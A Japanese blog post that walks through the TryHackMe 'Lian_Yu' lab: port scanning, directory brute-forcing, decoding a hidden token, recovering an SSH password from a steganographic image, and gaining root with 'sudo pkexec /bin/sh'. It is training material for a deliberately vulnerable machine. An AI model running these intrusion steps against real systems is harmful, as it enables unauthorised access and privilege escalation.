0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

TryHackMe Writeup:Lian_Yu

Last updated at Posted at 2022-08-16

はじめに

本記事はTryHackMeのWriteupです。
RoomはLian_Yuで、Difficulty(難易度)はEasyです。

Lian_YuはDCコミックスのARROW/アローがコンセプトになっています。海外ドラマ化もされています。

課題についてフラグゲットは容易いですが、SSHで侵入するまでのプロセスについて、効率よく調査するためには合理的な思考が必要です。

以下、フラグゲットするまでの道のりについて、考え方やツールの使用方法について記載しています。

Find the Flags

はじめに偵察行為から行います。
偵察行為については以前書いたContent Discovery Webアプリケーションに対する偵察行為を参照。

ポートスキャン

空いているポートを特定するためにはNmapを使用します。
ここでは事前に用意したシェルを介してポートスキャンを実行しています。

$ ./nmap.sh <対象ホストのIPアドレス>

Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 18:24 JST
Nmap scan report for 10.10.158.87
Host is up (0.26s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34016/tcp   status
|   100024  1          35231/udp6  status
|   100024  1          54382/udp   status
|_  100024  1          54531/tcp6  status
34016/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.17 seconds

ポートスキャンの結果から21番、22番、80番等主要なサービスのポート番号が確認できます。
まずはftpを用いてanonymousでログインできるか確認します。

$ ftp <対象ホストのIPアドレス>

Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): anonymous
530 Permission denied.
ftp: Login failed

anonymousは許可されていないため、ログインできませんでした。
引き続き、偵察行為としてコンテンツの探索を行います。

コンテンツの探索

ブラウザを起動してHTTPでアクセスすると、Lian Yuの孤島が表示されています。
タイトルのLian Yuとは、ARROWの過去編の主な舞台となる、太平洋上の孤島のことです。

スクリーンショット 2022-08-15 21.53.39.png

gobusterを実行してコンテンツを探索します。

$ gobuster dir --url http://<対象ホストのIPアドレス> --wordlist /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.87
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/14 18:32:54 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2506]
/server-status        (Status: 403) [Size: 199] 
                                                
===============================================================
2022/08/14 18:34:56 Finished
===============================================================

/usr/share/wordlists/dirb/common.txtのワードリストでは、特に期待した結果は得られませんでした。

何も検出できなかったため、/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtにワードリストを変更して実行します。

$ gobuster dir -u http://<対象ホストのIPアドレス> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.158.87
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/14 18:36:44 Starting gobuster in directory enumeration mode
===============================================================
/island               (Status: 301) [Size: 235] [--> http://10.10.158.87/island/]
Progress: 16147 / 220561 (7.32%)                                                ^C
[!] Keyboard interrupt detected, terminating.
                                                                                 
===============================================================
2022/08/14 18:43:51 Finished
===============================================================

islandのパスを発見しました。
islandのパスにアクセスすると、The Code Word is:の怪しいメッセージが表示されています。

スクリーンショット 2022-08-15 22.04.01.png

HTMLのソースを見ると、隠されたテキストを発見しました。

スクリーンショット 2022-08-15 21.58.16.png

ftpで使用可能なユーザーを特定しました。しかし、パスワードが分からないため、まだ調査が必要です。

Connected to 10.10.82.119.
220 (vsFTPd 3.0.2)
Name (10.10.82.119:kali): vigilante
331 Please specify the password.
Password: 

引き続き、パスにislandを付加して実行します。

$ gobuster dir -u http://<対象ホストのIPアドレス>/island -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.82.119/island
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/15 22:00:56 Starting gobuster in directory enumeration mode
===============================================================
/2100                 (Status: 301) [Size: 240] [--> http://10.10.82.119/island/2100/]
Progress: 7938 / 220561 (3.60%)                                                      ^C
[!] Keyboard interrupt detected, terminating.
                                                                                      
===============================================================
2022/08/15 22:04:29 Finished
===============================================================

2100のパスを発見しました。
またもや2100にアクセスするとメッセージが表示されていますが、めぼしいものはありません。

スクリーンショット 2022-08-15 22.02.52.png

また、HTMLのソースを見ると、ヒントを発見しました。
コメント内容からまだ何かありそうです。

スクリーンショット 2022-08-15 22.03.22.png

コメントで発見した.ticketファイルを探索するために、-xオプションを付与して実行します。

gobuster dir -u http://<対象ホストのIPアドレス>/island/2100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .ticket

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.82.119/island/2100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              ticket
[+] Timeout:                 10s
===============================================================
2022/08/15 22:06:39 Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]
Progress: 21148 / 441122 (4.79%)             ^C
[!] Keyboard interrupt detected, terminating.
                                              
===============================================================
2022/08/15 22:16:03 Finished
===============================================================

チケットのパスを発見しました。
アクセスすると、何か表示されています。どうやらトークンのようです。

スクリーンショット 2022-08-15 22.17.19.png

このトークンはこのままでは使用することができません。
ルームのヒントを参考にCyberChefで解析します。
トークンはBase58で符号化されていました。正しいパスワードを取得します。

ステガノグラフィー

ステガノグラフィーは情報を隠蔽する技術です。
ステガノグラフィーについては以前書いたスペクトログラムとステガノグラフィーを参照。

ftpを用いてvigilanteユーザーでログインします。
デコードしたトークンでログインできました。

$ ftp <対象ホストのIPアドレス>

Connected to 10.10.158.87.
220 (vsFTPd 3.0.2)
Name (10.10.158.87:kali): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

以下のコマンドを実行して、ファイルを確認します。
ftp> ls -al

229 Entering Extended Passive Mode (|||51141|).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.

いくつかの画像ファイルがあります。
複数のファイルを一括でダウンロードするにはmgetコマンドを使用しますが、1ファイル毎に応答が求められます。
以下のコマンドを実行して、対話型ダウンロードモードを無効にします。

ftp> prompt

Interactive mode off.`

mgetコマンドを使用して一括でダウンロードします。

ftp> mget *

local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||23118|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |***********************************************************************************************|   499 KiB  320.11 KiB/s    00:00 ETA
226 Transfer complete.
511720 bytes received in 00:01 (274.45 KiB/s)
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||35907|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |***********************************************************************************************|   537 KiB  343.59 KiB/s    00:00 ETA
226 Transfer complete.
549924 bytes received in 00:01 (294.71 KiB/s)
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||54940|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |***********************************************************************************************|   186 KiB  226.90 KiB/s    00:00 ETA
226 Transfer complete.
191026 bytes received in 00:01 (172.48 KiB/s)

これらファイルは全て画像ファイルですが、不審な点としてはLeave_me_alone.pngファイルが開けません。
中身を確認すると、PNGファイルですがマジックナンバーが違います。そのため、ファイルが開けませんでした。

$ od -tx1c Leave_me_alone.png | head

0000000  58  45  6f  ae  0a  0d  1a  0a  00  00  00  0d  49  48  44  52
          X   E   o 256  \n  \r 032  \n  \0  \0  \0  \r   I   H   D   R
0000020  00  00  03  4d  00  00  01  db  08  06  00  00  00  17  a3  71
         \0  \0 003   M  \0  \0 001 333  \b 006  \0  \0  \0 027 243   q
0000040  5b  00  00  20  00  49  44  41  54  78  9c  ac  bd  e9  7a  24
          [  \0  \0      \0   I   D   A   T   x 234 254 275 351   z   $
0000060  4b  6e  25  08  33  f7  e0  92  64  66  de  a5  55  7b  69  34
          K   n   %  \b   3 367 340 222   d   f 336 245   U   {   i   4
0000100  6a  69  54  fd  f5  73  ce  bc  c0  3c  9c  7e  b4  d4  a5  56
          j   i   T 375 365   s 316 274 300   < 234   ~ 264 324 245   V

PNGの場合、ファイルシグネチャは89 50 4E 47 0D 0A 1A 0Aで固定です。
ファイルを修正するため、バイナリエディターを使用して編集します。
以下はhexeditorの例です。

hexeditor Leave_me_alone.png

スクリーンショット 2022-08-15 23.02.51.png

復元した画像ファイルを開くと、パスワードが確認できました。

スクリーンショット 2022-08-15 23.03.58.png

まだ謎があるため、更に画像ファイルを調査します。
steghideを使用して、他の画像ファイルからテキストファイルを抽出します。

$ steghide extract -sf aa.jpg

以下のファイルが抽出されました。

-rw-r--r-- 1 kali kali    596  8月œˆ 14 22:34  ss.zip

unzipコマンドで展開します。

Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado  

以下のファイルが抽出されました。

-rw-r--r-- 1 kali kali    333  4月 28  2020  passwd.txt

中身を確認すると、SSHのパスワードになります。
これで全てのピースが揃いました。

権限昇格

最後はフラグをゲットする旅です。

user.txt

上記、passwd.txtファイルを基に、sladeユーザーでsshでログインします。

$ ssh slade@<対象ホストのIPアドレス>

slade@10.10.158.87's password: 
			      Way To SSH...
			  Loading.........Done.. 
		   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝


	██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
	██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
	██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
	██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
	███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
	╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

作業しやすいようにaliasを設定します。

slade@LianYu:~$ alias ll='ls -l'

ファイルを確認します。

slade@LianYu:~$ ll

ユーザーファイルを確認しました。

total 4
-r-------- 1 slade slade 63 May  1  2020 user.txt

root.txt

特権を取得するため、以下のコマンドを実行して確認します。

slade@LianYu:~$ sudo -l

[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec

pkexecコマンドが確認できました。
GTFOBinsを使用して脆弱性を探すと、sudoの脆弱性が確認できます。

以下のコマンドを実行して、管理者権限を取得します。

slade@LianYu:~$ sudo pkexec /bin/sh

rootユーザーに昇格しました。

# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

以上、Lian_YuのWriteupでした。

ポイントはメッセージを参考にしながら、怪しいディレクトリを見つけたらブルートフォースで効率的に探索することです。

ARROWは海外ドラマを見ていたので、また見たいと思いました。

0
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?